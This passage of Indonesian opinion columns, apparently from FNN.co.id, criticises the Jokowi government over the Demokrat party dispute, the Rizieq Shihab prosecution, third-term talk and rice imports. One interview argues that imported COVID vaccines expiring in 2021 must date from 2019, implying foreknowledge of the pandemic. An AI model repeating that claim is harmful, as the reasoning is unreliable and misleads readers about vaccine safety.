Hendro Priyono dan Luhut Binsar Panjaitan menjadi andalan Jokowi. Pada sisi lain, bila Jokowi mendukung langkah brutal Moeldoko melalui KLB, itu sama saja dengan melegalisasi pelanggaran hukum. Sama dengan membenarkan politik menghalalkan segala cara pada demokrasi kita yang berwajah buram di masa komunitas internasional. Menkumham Yasona Laoly ditempatkan di garda tedepan penguatan status kepemimpinan Moeldoko hasil KLB Deli Serdang, Sumatera Utara. Terhitung sejak Moeldoko mendaftarkan hasil KLB ke Kemenkumham, maka telah terjadi dualisme kepemimpinan Partai Demokrat. Moeldoko dapat bebas mengacak-acak Partai demokrat dengan bantuan penyandang dana dari oligarki dan konglomerat hitam, licik, culas dan picik. Gerombolan konglomeret yang tidak pernah puas menghisap darah. Berbeda dengan pola devide et impera pada partai-partai politik lainnya, Moeldoko yang menjadi pengurus sah di Partai Hanura mampu menjadi Ketum di Partai Demokrat. Padahal Moledoko adalah kepala KSP. Moeldoko orang dekat Presiden Jokowi. Bagi Jokowi, sorotan keras ini membuat posisinya menjadi sulit. Bagai harus makan buah simalakama. Simalakama nama latinnya adalah phaleria macrocarpa yang mengandung zat anti oksidan seperti alkaloid, flavonoid, polifenol, saponin, dan terpenoid yang berguna untuk menurunkan kadar gula darah, anti kanker, anti radang, juga anti alergi. Tetapi racun simalakama ini juga bisa menyebabkan sariawan, mabuk, dan kejang-kejang, berbahaya bagi ibu hamil. Memakan buah simalakama adalah pilihan sulit. Racun yang dapat menjadi obat, dan racun yang menimbulkan penyakit. Jadi, kaitan dengan politik kini apa yang dilakukan oleh Moeldoko dalam kudeta Partai Demokrat via KLB menjadi bagai makan buah simalakama bagi Jokowi. Pilihan yang tidak mudah. Pilihan yang serba salah. Di tengah kesulitan Jokwi itu, prinsip "bukan urusan saya" atau "sudah ditugaskan kepada Menteri" menyebabkan Jokowi sebenarnya melempar kesulitan itu justru kepada rakyat. Menciptakan kegaduhan untuk rakyat. Sikap itu yang sekaligus mengukuhkan predikat sebagai rezim sarat kegaduhan. Suka dan hobby memproduksi kegaduhan politik. Banyak yang merenung, apakah Presiden memang sedang memikirkan rakyat? Atau rakyat ini yang selalu dan selalu dibuat pusing untuk memikirkan prilaku Presiden? Pilihan Jokowi untuk menentukan kebijakan melegalisasi hasil KLB, yang berarti membunuh SBY atau menolak pengesahan KLB yang bermakna membunuh Moeldoko adalah kondisi berat sebagai ujian bagi masa depan dirinya. Ataukah seperti biasa, biarkan diambangkan saja lalu mengikuti instink untuk melompat ke tempat lain lagi. Penulis adalah Pemerhati Politik dan Kebangsaan.

Jaksa Terkejut, Uang Bulanan Istri 50 Juta

by Asyari Usman Medan, FNN - Kemarin, 17 Maret 2021, istri Edhy Prabowo (EP) yaitu Iis Rosita Dewi (IRD) membuat jaksa KPK terkejut. Pasalnya, IRD mengaku bahwa dia mendapat uang bulanan 50 juta rupiah dari suaminya. IRD diperiksa sebagai saksi dalam sidang pengadilan di Jakarta dengan terdakwa Suharjito, pemilik PT Dua Putera Perkasa Pratama. Suharjito didakwa menyuap Edhy Prabowo agar izin ekspor benur (bibit lobster) bisa dipercepat penerbitannya. Pak Jaksa bertanya dari mana sumber uang EP. IRD menjawab, “Saya tidak tahu.” Tentu saja harus jawab begini. Kalau dia tahu sumbernya, bisa-bisa terjerat pula. Di persidangan, jaksa bisa menanyakan apa saja. Tapi, kalau jaksa sampai terkejut mendengar uang bulanan 50 juta tiap bulan untuk istri seorang menteri, terus terang saya balik terkejut mendengar Pak Jaksa terkejut. Hehe! Mengapa kita semua pantas terkejut? Karena ‘kan Pak Jaksa sedang menangani perkara korupsi terkait izin ekspor benur. Artinya, pantas diduga banyak “buner” (benih duit) yang mondar-mandir di sekitar benur. Bukan ratusan juta, tapi ratusan miliar. IRD adalah anggota DPR RI (fraksi Gerindra). Gaji beliau tentu cukup besar –sekitar 66 juta total semuanya. Tunjangan yang beliau terima banyak sekali jenisnya. Gaji pokok memang 4.2 juta saja. Tapi, tunjang sana, tunjang sini, menjadi lebih 65 juta. Cuma, Pak Jaksa barangkali merasa gaji seorang menteri tak mungkin bisa menyediakan bulanan 50 juta untuk istri. Pak Jaksa agaknya tahu gaji menteri tak sampai 20 juta per bulan. Memang ada dana taktis yang bisa mencapai 100 juta hingga 150 juta sebulan. Nah, ini dia. Semasa menjadi Menteri Kelautan dan Perikanan, Pak EP tentu bisa mengambil langkah taktis untuk menyuplai 50 juta tiap bulan kepada istri. Lagi pula, lautan Indonesia itu sangat luas. Rezeki pun pasti juga luas. Apalagi semua yang ada di laut, termasuk lobster dan benurnya, harus sowan ke Pak Edhy. Sehingga, tidaklah mengherankan amat kalau istri dibulani 50 juta. Tak perlu kaget. Namanya juga “menteri lobster”. Jadi, biarkan dan maklumi saja kalau Pak Jaksa terkejut.[] Penulis adalah Wartawan Senior FNN.co.id.

Dokter Tifauzia, “Izinkan Saya Bicara (Vaksin)”

by Mochamad Toha Surabaya, FNN - Nama dr. Tifauzia Tyassuma, MSc pernah mencuat dan menghiasi media massa dan halaman media sosial pertengahan Maret 2020. Dokter, ahli penyebaran penyakit (epidemiologi klinis) itu menuliskan sebuah surat terbuka yang ditujukan kepada Presiden Joko Widodo. Setidaknya ada empat surat yang ditulis dalam akun Facebook-nya yang menuntut Presiden Jokowi bersama jajarannya untuk bergerak cepat dalam menangani pandemi Virus Corona yang semakin mengkhawatirkan. Dalam salah satu tulisannya, Medical Scientist, Pakar dan Praktisi Nutrisi Kardiometabolik yang akrab dipanggil Dokter Tifa ini bahkan menulis dengan nada keras. Dia menyayangkan keterlambatan pemerintah dalam membuat kebijakan penutupan total (lockdown) semua wilayah di Tanah Air. Gara-gara keterlambatan itu, pemerintah harus menyiapkan kuburan massal. Genap setahun kemudian (Maret 2021), Dokter Tifa kembali mengkritisi kebijakan pemerintah. Terutama terkait dengan impor “Vaksin Kadaluarsa”. Banyak yang mendukung, tapi tak sedikit pula yang mencibur Dokter Tifa. Berikut ini wawancara Mochamad Toha, wartawan FNN dengan Presiden Ahlina Institute itu yang aktif terjun di lapangan untuk melakukan pelatihan, penelitian, dan observasi ini. Anda masih tetap kritis terhadap kebijakan pemerintah. Kali ini terkait Vaksin Corona yang ternyata expired (kadaluarsa). Luar biasa. Semua postingan saya tentang expired candy already been take down. Postingan dianggap fake. Jadi sekarang yang truth adalah fake, until the truth will no longer exist! Tidak ada lagi tempat buat kebenaran! Emangnya apa yang Anda tulis dalam akun Facebook Anda? Sekarang ini banyak bermunculan “Ilmuwan” dan “Dokter” Pembela Vaksin kadaluarsa. Sederhana saja kok. Bisa Anda jelaskan maksudnya? Vaksin yang datang tanggal 12 Desember 2020 berjumlah 1,2 juta dosis dan tanggal 31 Desember 2020 berjumlah 1,8 juta dosis, Masa kadaluarsanya 25 Maret 2021. Bukankah semuanya habis disuntikkan? Memang, menurut Jubir Kemenkes telah habis disuntikkan kepada Para Dokter dan Nakes (Oh My God, semoga mereka semua selamat). Kemudian pengiriman vaksin berikutnya, adalah tanggal 6 Januari 2011, 2 Februari 2021, dan 2 Maret 2021 total sebanyak 35 juta dosis, sementara dikabarkan Masa Kadaluarsanya tahun 2023. Jadi, menurut Anda? Artinya: Masa kadaluarsa Vaksin ini adalah 2 tahun. Dengan mengikuti Logika yang sama, maka artinya, vaksin yang datang bulan Desember 2020 dan masa kadaluarsa Maret 2021 itu adalah vaksin yang dibikin tahun 2019. Bukannya pandemi itu mulai melanda China akhir 2019 dan mulai mewabah lintas negara itu mulai awal Januari 2020? Kemungkinannya menjadi banyak: Satu. Negara penghasil vaksin sudah tahu bakal ada Pandemi pada tahun 2020. Maka dia sudah buat duluan dan selesai produksi tahun 2019. Dua. Vaksin yang datang bulan Desember 2020 dan masa kadaluarsa Maret tahun 2021 pasti bukan vaksin yang menjalani Uji Klinis Fase 1,2, dan 3 yang baru dinyatakan berjalan pada tahun 2020. Artinya isi vaksin ini jadinya apa? Tiga. Kenapa sih Pemerintah cq Kemenkes ini begok banget? Akibat kebegokan kalian sekarang hari-hari kalian sibuk klarifikasi akibat salah beli barang hampir basi. Abis malah tambah begok lagi dengan Vaksin Astra Zeneca datang, termyata masa kadaluarsa pada Mei 2021. Berarti sama saja dong Vaksin Astra Zeneca juga dibikin tahun 2019? Berarti ini pada udah tahu ya negara produsen vaksin, ngga China, ngga Inggris, bahwa bakal terjadi Pandemi tahun 2020 dong? Mengapa tidak ada Dokter dan Nakes yang bersuara? Nah! Empat. Kenapa sih Dokter-Dokter dan Nakes tak ada suara sedikitpun sampai hari ini, diam seribu bahasa, tidak berkutik, tidak bernyali sedikitpun padahal mereka tahu kalau disuntik barang yang hampir mendekati masa kadaluarsa, dan itu artinya barang produksi tahun 2019. Sementara Uji Klinis terhadap vaksin ini baru dilaksanakan pada tahun 2020. Saya bingung saja. Ke mana kecerdasan Anda para Dokter dan Nakes? Hal ini sangat sederhana. Tidak harus pakai IQ full juga paham. Bukankah ada juga sebagian dokter yang terkesan mendukung vaksin “sampah” itu? Bukan hanya itu. Sekarang ini malah diantara para Dokter tersebut sibuk bikin framing membenar-benarkan, merasionalisasi vaksin itu, dan malah membenturkan bahwa siapapun yang menyalahkan vaksin kadaluarsa, dia yang salah! Saran Anda? Ayolah... Qulil haq walau kaana murron, kata Rasul SAW. Katakanlah kebenaran sekalipun itu pahit. Apa artinya? Artinya, Dunia ini masih jauh dari aman. Saat ini juga, dunia dibayang-bayangi oleh Virus B117. Satu varian yang memiliki perbedaan 21 genome dengan Wuhan Coronavirus. Artinya, penduduk Dunia berhadapan dengan Mutan baru Coronavirus 2021: yang sementara namanya disebut sebagai B117. Saya sebut saja Covid-21. Apakah Varian Mutan B117 sangat berbahaya? Begini. Kemampuan menginfeksi B117 berkali-kali lipat dibanding Covid-19. Daya jelajah 4 kali lipat. Terutama ketika Dunia mulai longgarkan 3M. Penduduk mulai lelah di rumah. Dan Masker mulai ditanggalkan. Bahkan orang-orang bodoh yang mengaku-ngaku Ilmuwan, masih sibuk mengkampanyekan Gerakan Lepas Masker. Maksudnya? Masih banyak “Ilmuwan palsu” yang tidak henti-hentinya bicara di sosial media bahwa Pandemi Coronavirus ini Pandemi bikinan media. Terakhir, Anda juga menulis lagi Surat Terbuka kepada Pemerintah? Masih tetap. Kalau Dokter Tifa, dan semua orang yang memberikan masukan dan kritik yang tajam, tepat, dan lurus, dilarang memberikan pendapat tentang vaksin, dan setiap pendapat, yang tidak sejalan, dilabeli dengan false information. Itu kan sama saja dengan “kekang suara” Anda? Benar! Itu artinya pelita dilarang menyala. Kita semua akan ada di masa kegelapan. Tidak ada check and balance. Tidak ada kritik yang menjadi alat pemandu kalau ada yang melenceng keluar dari garis lurus. Dan rakyat menjadi korban. Dibuat buta dalam kegelapan yang pekat, tanpa tahu dibawa ke mana. Apa yang Anda sampaikan dalam tulisan itu? Soal Vaksin. Anda Pemerintah, sepertinya sangat perlu dibantu dengan pendapat dari orang di luar arena, yang punya pandangan lurus, jujur, dan mulia, tanpa kepentingan, dan dalam pikirannya hanya penuh dengan kebaikan bagi umat, tidak punya tujuan apapun selain dari menegakkan kebenaran dan keadilan. Sebab bila tidak, percayalah, sebagaimana juga banyak korban jatuh karena virus, akan banyak korban jatuh karena vaksin, dan ini adalah rakyat. Mengapa Anda harus menyampaikan hal itu? Begini. Tugas Pemerintah yang utama adalah menjaga Rakyat. Rakyat yang harus dilindungi nyawanya, dilindungi kesehatan dan kesejahteraannya. Tugas saya sebagai Ilmuwan dan Warganegara yang baik, adalah menjaga agar Pemerintah menunaikan tugasnya, tidak saja dengan baik, tetapi dengan luhur dan mulia. Saya menuliskan ini, dengan penuh keprihatinan, kekhawatiran, dan cintakasih kepada bangsa ini. Izinkan saya bicara. Orang yang menganjurkan Buka Masker dan meremehkan Coronavirus, bahkan berani bilang Pandemi ini cuma bikinan, malah dibiarkan berkeliaran di sosial media cari pengikut. Apalagi, mengaku-ngaku ahli virus, berhasil jadi pujaan orang-orang bodoh dan bebal! Dia itulah kriminal yang sesungguhnya! Apa yang Anda harapkan? Kita ini berhadapan dengan musuh yang tak kasat mata, yang cerdas luar biasa. Dibutuhkan kecerdasan luar biasa, kebaikan hati yang luar biasa, kemuliaan hati yang luar biasa, secara serempak, agar Coronavirus bisa segera kita taklukkan. Siapapun juga, yang mengajak-ajak orang untuk Buka Masker, membuat orang percaya bahwa Coronavirus tidak ada, meremehkan Pandemi ini, dia layak ditangkap! Penulis adalah Wartawan Senior FNN.co id.

Umat Digiring ke Jalan Buntu

SUKA atau tidak suka, persepsi publik tentang prosekusi (prosecution atau tindakan hukum) terhadap Habib Rizieq Syihab (HRS) adalah kebijakan politik yang sengaja ditempuh oleh para penguasa untuk membungkam umat Islam. Singkatnya, prosekusi terhadap Habib kemudian berubah menjadi persekusi (persecution atau pengejaran alias penggencetan alias penindasan). Mengapa prosekusi terhadap HRS dilihat sebagai persekusi terhadap umat Islam? Tak lain karena HRS belakangan ini dianggap mewakili umat dan merepresentasikan kalangan ulama garis lurus. Kalau ada yang membantah, silakan saja buka catatan tentang kemampuan HRS mengajak umat masuk ke barisan oposisi terhadap kekuasaan. Para penguasa perlu diingatkan bahwa prosekusi terhadap HRS bisa bergulir menjadi pemicu diskonten yang meluas. Sebab, prosekusi yang kini berubah menjadi persekusi itu bermula dari masalah yang lebih banyak berbentuk “cari-cari perkara” ketimbang proses penegakan hukum murni. HRS ditangkap, ditahan, dijadikan tersangka dan kemudian didudukkan sebagai terdakwa hanya gara-gara kerumunan Covid-19 yang sebenarnya terjadi di mana-mana dan berulang-ulang. Termasuk kerumunan yang dipicu oleh kunjungan Presiden Jokowi ke Maumere, NTT, belum lama berselang. Banyak kerumunan besar lainnya yang berlangsung tanpa prosekusi –apalagi persekusi. Kemudian, penguasa mencarikan kasus lain supaya tuduhan dan dakwaan terhadap HRS bisa berlapis-lapis. Beliau dijadikan tersangka swab test di RS Ummi Bogor. Seterusnya, HRS didakwa melakukan penghasutan. Terkesan pasal-pasal pidana untuk HRS diolah sebanyak mungkin. Dengan tujuan agar pemimpin umat yang didengar oleh puluhan juta orang itu bisa didelegitimasikan. Tidak hanya dicari-carikan pasal pidana untuk beliau. Para penguasa malah membuka kembali sejumlah kasus yang sudah dihentikan, termasuk kasus chat mesum. Pokoknya, karisma dan wibawa HRS harus direduksi. Dengan segala cara. Tak cukup sampai di situ, ormas yang dibina HRS, dibubarkan. Hingga entitas pendidikan agama yang berada di bawah arahan Habib pun ikut dijadikan sasaran. Semua ini bertujuan untuk mengerdilkan HRS dan mengamputasi hubungan antara beliau dengan umat yang merasa sejalan dengan sikap kritis Habib yang selalu berpendirian “benar, katakan benar; salah, katakan salah”. Tindak-tanduk kotor para pemegang kekuasaan terhadap HRS sangat mungkin akan menambah keyakinan bahwa umat garis lurus memang sengaja digencet. Sengaja ditindas. Ini sangat berbahaya. Sebab, anggapan penindasan yang dilakukan oleh para penguasa itu berbanding terbalik dengan perlakuan ramah dan akomodatif terhadap orang atau kelompok yang jelas-jelas melanggar hukum. Kita sudah lelah menyebutkan contoh-contoh perlakuan diskriminatif itu. Daftarnya terlampau panjang. Yang mengherankan, para penguasa terlihat menikmati anggapan publik bahwa mereka melakukan penindasan. Menjadi ingin bertanya: mengapa mereka begitu percaya diri melakukan semua itu? Apa sebenarnya yang sedang mereka kerjakan? Para penguasa pastilah menolak dikatakan melakukan penindasan. Meskipun itulah yang mereka programkan. Tapi, ada satu hal yang mungkin saja mereka sadari. Atau, bisa jadi juga tidak mereka sadari. Bahwa tindakan mereka memojokkan, membungkam atau menindas itu akan menggiring umat ke jalan buntu. Ini yang perlu dicermati. Sebab, berada di jalan buntu berarti berada dalam situasi “no choice” (tidak ada pilihan). Di jalan buntu, duduk atau berdiri tegak, sama saja. Diam atau bergerak, tidak berbeda. Bahwa Anda akan menghadapi situasi hidup-mati.[]

Ini Baru Halaman Pertama, Bagaimana Lembar Berikutnya?

by Bambang Tjuk Winarno Madiun FNN - Ada yang mengait ngaitkan ucapan Anas Urbaningrum mantan Ketua Umum Partai Demokrat dan napi kasus korupsi proyek Hambalang (Pembangunan Pusat Pendidikan, Latihan dan Olah Raga Nasional) waktu itu. Tentu dikaitkan dengan malapetaka aktual masa kini, kudeta Partai Demokrat oleh Kepala Kantor Staf Kepresidenan (KSP) Moeldoko. Publik memberi arti kudeta itu sebagai “halaman pertama” dari sejumlah lembaran sebuah buku politik. Buku yang akan dibuka di waktu-waktu setelah tuntas membaca “halaman pertama”. Lebih asyik dan mboys membacanya sambil duduk mengangkat kaki, ngobrol-ngobrol dan ngopi-ngopi biasa. "Saya nyatakan ini baru permulaan. Hari ini saya nyatakan ini baru sebuah awal langkah langkah besar. Baru halaman pertama. Masih banyak halaman halaman berikutnya yang akan kita buka dan baca bersama. Tentu untuk kebaikan bersama", ucap Anas Urbaningrum seperti dikutip oleh merdeka.com (23/02/2013). Menyambung itu, sementara pihak berspekulasi kalau Moeldoko yang “disuruh” menjadi Ketum Partai Demokrat hasil Konres Luar Biasa Deli Serdang kemarin, untuk segera bergerak ke Senayan. Wakil rakyat asal Partai Demokrat disana signifikan jumlahnya. Bisa menggalang kekuatan dan pengaruh dengan target-taget tertentu. Diilustrasikan, orientasi politik Moeldoko, bila merasa dirinya telah sah secara defacto, akan segera menggalang pengaruh anggota DPR di. Konsentrasi jangka pendek adalah mengupayakan adanya Bab, atau Pasal atau Ayat dalam UUD 1945 yang membolehkan tiga kali jabatan Jokowi sebagai Presiden. Dalam jangka menengah atau pun panjang, dimungkinkan Moeldoko akan mengaku “dipaksa rakyat, bila tidak malu dibilang mencalonkan diri, untuk ambil bagian di Pilpres mendatang. Menjadi calon presiden tahun 2024. Otak-atik politik tersebut merujuk pada pandangan tokoh sentral reformasi '98, Amien Rais, yang mencurigai pihak-pihak selain oposan tengah berjuang untuk tiga kali Jokowi sebagai presiden. Sekali pun kalkulasi Amien Rais tersebut dibantah mentah Wakil Ketua MPR (Fraksi PDIP), Ahmad Basarah, namun rasa was-was dan tidak percaya tak mudah hilang dari mata hati dan pikiran. Sudah kadung tidak bisa dipercaya. Mungkin juga itu sebab-musababnya. "Sejauh ini kami belum pernah memikirkan. Apalagi mengambil langkah langkah politik untuk merubah konstitusi hanya untuk menambah masa jabatan presiden menjadi tiga periode. Demikian juga di MPR, kami belum pernah membahas isu masa jabatan presiden tersebut, dan mengubahnya menjadi tiga periode," kata Ahmad Basarah. Ungkapan Ahmad Basarah sebagai upaya meyakinkan itu, boleh jadi dibaca kaum oposan sebagai lembutnya lidah tanpa tulang-belulang. Ibarat lagi "kau yang berjanji, kau yang mengingkari," kata Raja dangdut Rhoma Irama dalam syair lagunya. Masih ragu juga? Atau belum mau percaya? Bolehlah kita putar ulang alasan Moeldoko yang baru kemarin sore diucapkannya. Moeldoko membantah kalau bertemu dengan beberapa kader dan bekas orang Partai Demokrat, sebagai rencana kudeta atas Ketua Umum Agus Harimurti Yudhoyono (AHY) sebagaimana kecurigaan Soesilo Bambang Yudhoyono (SBY) selaku Ketua Majelis Tinggi Kehormatan Partai Demokrat yang sah. Moeldoko, seperti ditirukan SBY, mengaku "hanya ngopi-ngopi biasa. Hanya ngobrol-ngobrol biasa". Ngobrol sambil ngopi antara Moeldoko dengan beberapa orang kader dan pecatan Partai Demokrat itu, diakui Moeldoko tidak membahas rencana jahat politik. Namun apa lacur. Beberapa waktu sesudah itu, yang dilakukan Moeldoko dari hasil ngobrol dan ngopi itu membuahkan hasil? Meletuslah malpraktek politik di Deli Serdang Sumatera Utara. Moeldoko diangkat menjadi Ketum PD dengan cara bermain sulap. Malahan, menurut gelora.co (15/03), Wakil Ketua Umum Partai Kebangkitan Bangsa (PKB), Jazilul Fawaid, secara pribadi mendukung wacana penambahan masa jabatan presiden hingga tiga periode. Itulah sebabnya anak bangsa yang menaruh peduli atas keselamatan NKRI, bahu-membahu berteriak keras. Mereka berdiri atas nama kebenaran dan keselamatan demokrasi. Deretan nama yang berani mengambil posisi di zona oposan diantaranya Amien Rais, Sri Bintang Pamungkas, Din Syamsudin, Rocky Gerung, Rizal Ramli, Fadli Zon serta kaum melek bernegara lainnya. Kecuali para tokoh tersebut, terdapat jurnalis yang tergabung di media massa kritis. Diantaranya TEMPO.co, FNN.co.id, Gelora.co, indonesialeaks dan TV One. Memang sedikit jumlahnya dibanding cacah media massa yang beredar. Para pengkritik maunya diminta diam oleh para buzzeRp. Inginnya mereka para buzzerRp, bernegara seperti yang kini kita rasa dan alami bersama saat ini. Jadi teringat filosofi, "kalau sekedar hidup, babi di belantara itu juga hidup. Kalau sekedar kerja, kerja, kerja, kera yang joget ikut pengamen jalanan itu juga kerja". (Buya Hamka, Tokoh Muhammadiyah). Sulit dibayangkan, seandainya perjalanan negeri ini tanpa diimbangi campur tangan pengkritik. Ibarat penanganan suatu penyakit oleh tenaga medis. Negara ini dalam kondisi illness akibat sepsis yang telah menyeluruh menjangkit organ tubuh. Yang prognosisnya adalah kematian. Nah, keberadaan Amien Rais dan sejumlah pihak yang memiliki selera politik sama, berperan sebagai obat yang bekerja secara paliatif. Mengulur ulur umur. Sambil menunggu mukjizat Allah Subhaanahu Wata’ala untuk sembuh dari penyakit. Akhirnya, seperti apa rupa dan warna dalam gambar serta bacaan di halaman-halaman berikutnya. Kita tunggu saja bersama. Penulis adalah Wartawan FNN.co.id.

Teriak Benci Asing Tapi Ketagihan Impor

by Jusman Dalle Jakarta FNN - Malam teriak benci produk asing. Namun pagin atau siang sudah sarapan beras impor. Itulah ilustrasi yang paling tepat untuk menggambarkan ambivalensi sikap pemerintah. Terutama dalam isu-isu ekonomi dan perdagangan. Baru kemarin Presiden Joko Widodo melantunkan kumandang “cintai produk lokal dan benci produk asing”. Masih hangat-hangat tahi ayam kampanye itu. Eh, tiba-tiba mencuat rencana impor beras satu juta ton. Wajau saja kalau republik ini terperanjat. Rencana impor satu juta ton beras datang dari meja kerja Menko Perekonomian Airlangga Hartarto, dan Menteri Perdagangan M. Luthfi. Pihak yang sama, juga menyuplai informasi kepada Presiden sehingga terlontar kampanye untuk “membenci produk asing”. Rencana impor beras kontan menjawab keraguan publik. Ketika Presiden Jokowi mengajak “benci produk asing” masyarakat memang merespons dengan nada skeptis. Menduga jika ajakan yang tampak heroik itu cuma sebatas gimik saja. Kecurigaan tersebut akhirnya terbukti juga. Alih-alih benci, menahan diri dan memprioritaskan produk lokal milik petani lokal saja bahkan tidak mampu. Maka wajar bila kampanye benci produk asing dinilai cuma basa-basi. Hanya lips service. Sebab Rencana impor beras, menyeret kembali ingatan publik ke titik kemarahan pelaku Usaha Menengah Kecil dan Mikro (UMKM) terhadap aksi pedagang asing yang mendominasi ecommerce di pasar lokal. Kemarahan UMKM itu kini meluas. Kemarahan yang merambah kepada para petani di kampung. Impor beras itu, jelas menghianati kerja keras petani di desa-desa. Implikasi lainnya, para pelaku ekonomi dalam rantai ekosistem perberasan bakal terkena pukulan telak dengan banjirnya beras impor. Persoalan impor beras ini akan terus bergulir. Isu ini kabal terus membesar, dan menjadi atensi di seantero negeri agraris. Apalagi panen raya petani lokal sudah di depan mata. Maka wajar bila ekonom senior Faisal Basri menyebut aroma tajam perburuan rente menyengat kuat dari balik agenda impor beras. Direktur Utama Bulog, Budi Waseso menyatakan Bulog belum tentu mengamini rencana yang dirancang oleh Menkoperekonomian dan Mendag tersebut. Impor beras bukan cuma merefleksikan inkonsistensi terhadap seruan benci produk asing. Namun juga membuktikan bila banjir produk asing adalah kontribusi pemerintah. Frasa ekonomi gotong royong, ekonomi berdikari dan kedaulatan ekonomi yang selama ini seolah menghipnotis kesadaran publik, cuma isapan jempol belaka. Salah Arah Arah yang melenceng juga terjadi dalam agenda pembangunan ekonomi digital. Sektor ekonomi yang menjadi trend, bahkan diadopsi sebagai mainstream ekonomi masyarakat global. OECD menyebut digitalisasi adalah satu dari 10 megatrend yang dipicu oleh Covid-19. Indikasi salah arah pembangunan ekonomi digital terlihat dari banjir produk asing. Persis seperti impor beras dan aneka jenis pangan yang saban tahun dilakukan oleh pemerintah. Keresahan soal dominasi asing tidak mengada-ada. Produk asing kadung menguasai pasar daring ecommerce. Kamar Dagang dan Industri Indonesia (KADIN) menyebut, cuma 7% produk lokal yang listing di ecommerce. Jika digali lebih dalam, muncul pertanyaannya, mengapa terjadi dominasi produk asing? Mengapa situasi ini menjadi sulit dikendalikan? Pertama, ini adalah kontribusi pemerintah. Kegenitan membuka kran impor jadi gerbang utama. Kebijakan impor bukan diteken oleh pedagang di Glodok atau pengecer di Pasar Senen. Tetapi oleh menteri terkait. Maka sejak awal, ajakan “benci produk asing” dari pemerintah diduga sebagai bentuk cuci tangan semata. Kedua, di luar persoalan kebijakan importasi, banjir produk asing juga dipicu oleh dinamika ekonomi internal. Indonesia memasuki momentum konsumsi. Terdongkrak oleh pendapatan perkapita. Tahun 2020 yang lalu, Indonesia bahkan dinobatkan oleh Bank Dunia sebagai upper middle income country. Negara berpendapatan menengah atas dengan pendapatan perkapita Rp58 juta pertahun. Predikat itu adalah lampu hijau. Magnet bagi para investor. Di luar isu pemerataan yang masih jauh panggang dari api, kenaikan pendapatan perkapita adalah indikator jika ekonomi Indonesia tumbuh. Bertabur potensi untuk digali. Terutama di sektor konsumsi. Sayangnya, kenaikan pendapatan perkapita masyarakat Indonesia tidak diimbangi dengan kemampuan produksi dalam negeri. Industri manufaktur bahkan memasuki masa-masa suram. Kontribusi manufaktur terhadap PDB melorot. Dari 28,83% pada tahun 2003, kini tersisa sekitar 19%. Konsekuensinya, ledakan permintaan harus disuplai impor. Aneka jenis produk, dari pangan, mainan anak, busana harian hingga printilan perkantoran dipasok dari China. Baik itu di pasar daring maupun di pasar tradisional. Ketiga, transmisi digitalisasi mengakselerasi penetrasi asing di pasar dalam negeri. Sudah sejak lama Indonesia diincar. Pendekatan diplomasi atar negara (diplomacy approach) yang ditempuh untuk menikmati pasar terbesar di ASEAN ini. Termasuk melalui jalur investasi. Lusinan perusahaan berbasis teknologi informasi mengguyurkan modal jumbo. Menancapkan eksistensi. Berselancar di pasar digital yang tumbuh secara akseleratif yang . Ekonomi digital Indonesia tahun 2020 tercatat Rp 630 triliun. Tetapi kue jumbo itu, cuma numpang lewat di dompet pelaku ekonomi lokal. Dominasi produk asing di ecommerce menimbulkan impikasi berantai. Ekosistem UMKM dan sektor ril paling kena getahnya. Tidak hanya merugikan mereka yang mencoba peruntungan di platform-platform digital. UMKM yang tak memahami bagaimana cara kerja ekonomi berbasis aplikasi itu, ikut terpapar. Terancam tereliminasi dari rumah sendiri. Ini sangat tragis. Makanya sorotan terhadap impor beras, mestinya menjadi momentum menata kembali tata niaga Indonesia. Bukan cuma di sektor perberasan, dan pangan. Tetapi di seluruh sektor perdagangan yang terindikasi kuat disetir oleh kepentingan pepmburu rente. Persis seperti perburuan rente yang juga terjadi di ecommerce. Bila ditelusuri, ternyata ada keluarga dekat pejabat penting di republik ini yang jadi komisaris di platform digital asing. Platform yang jadi surga bagi arus impor, yang mengancam UMKM lokal. Penulis adalah Direktur Eksekutif Tali Fondation dan Praktisi Ekonomi Digital.

Memikirkan Ulang Periode Jabatan Presiden

by Tamsil Linrung Jakarta, FNN - Wacana presiden tiga periode kembali muncul. Isu lawas ini mencuat dengan tensi yang seketika meninggi, menjadi bahan diskusi di banyak tempat. Diskursus politik era demokrasi memang memungkinkan membicarakan segala hal. Tetapi tema-tema yang memunggungi konstitusi seharusnya tabu, tidak boleh dibiarkan beranak pinak. Selain membahayakan demokrasi, juga mengancam kelangsungan bangsa. Bagaimana mungkin kita mendiskusikan sesuatu yang bertentangan dengan konstitusi? Konstitusi telah membatasi kepemimpinan nasional hanya dua periode, titik. Kekuasaan yang terlalu lama berpotensi menyuburkan oligarki, melanggengkan korupsi, selain melahirkan diktator baru. Wacana presiden tiga periode tak lebih akal bulus dari pikiran yang dahaga kekuasaan. Memberikan tempat pada diskursus tersebut bukan tidak mungkin justru melecut momentumnya. Dan kita tahu, politik adalah tentang momentum. Kalau momentumnya pas, kalkulasi politik bisa berjalan lancar. Jamak terdengar, menciptakan momentum adalah bagian dari seni berpolitik. Wacana presiden tiga periode telah beberapa kali memburu momentum dalam dinamika politik tanah air. Penghujung 2019 lalu, isu ini mengedepan seiring bergulirnya wacana amandemen UUD NKRI 1945. Untung saja tidak kejadian. Yang menggelontorkannya bukan orang sembarangan. Jejak digital mencatat, yang pertama kali mewacanakan adalah Wakil Ketua MPR Asrul Sani. Kita tahu, MPR adalah lembaga yang memiliki kewenangan mengubah dan menetapkan UUD NKRI 1945. Lebih mengerikan lagi, Ketua DPR Puan Maharani tercatat juga mewacanakan. Walau sempat tenggelam, wacana tiga periode tidaklah mati. Malah diduga menggelinjang di bawah tanah. Dugaan ini disampaikan terbuka oleh Pendiri Partai Umat Amien Rais. Konon, ada usaha pemerintahan Jokowi menguasai seluruh lembaga tinggi negara. Amien Rais rupanya mendeteksi sinyal politik atau skenario yang mengarah agar Presiden Jokowi bisa terpilih lagi hingga tiga periode. Pasca-viralnya pernyataan Amien di kanal youtube, mengalir aneka kritikan tajam kepada tokoh gerakan reformasi 98 ini. Menteri Pendayagunaan Aparatur Negara dan Reformasi Tjahjo Kumolo, misalnya, menilai tudingan Amien Rais sebagai manuver murahan. Tetapi, tak sedikit pula yang bersimpati. Lepas dari kontroversi tersebut, pernyataan Amien Rais ada hikmahnya juga. Paling tidak, pernyataan ini telah menggedor dan mengembalikan sikap kehati-hatian kita terhadap upaya-upaya melawan konstitusi. Soalnya, perhatian rakyat selama ini dibuai atraksi berbagai manuver di panggung politik nasional. Muncul Dukungan Kita mengapresiasi penolakan Presiden Jokowi terhadap wacana presiden tiga periode. Presiden bilang, tidak ada niat dan juga tidak berminat. Presiden juga menegaskan, konstitusi mengamanahkan dua periode dan harus kita 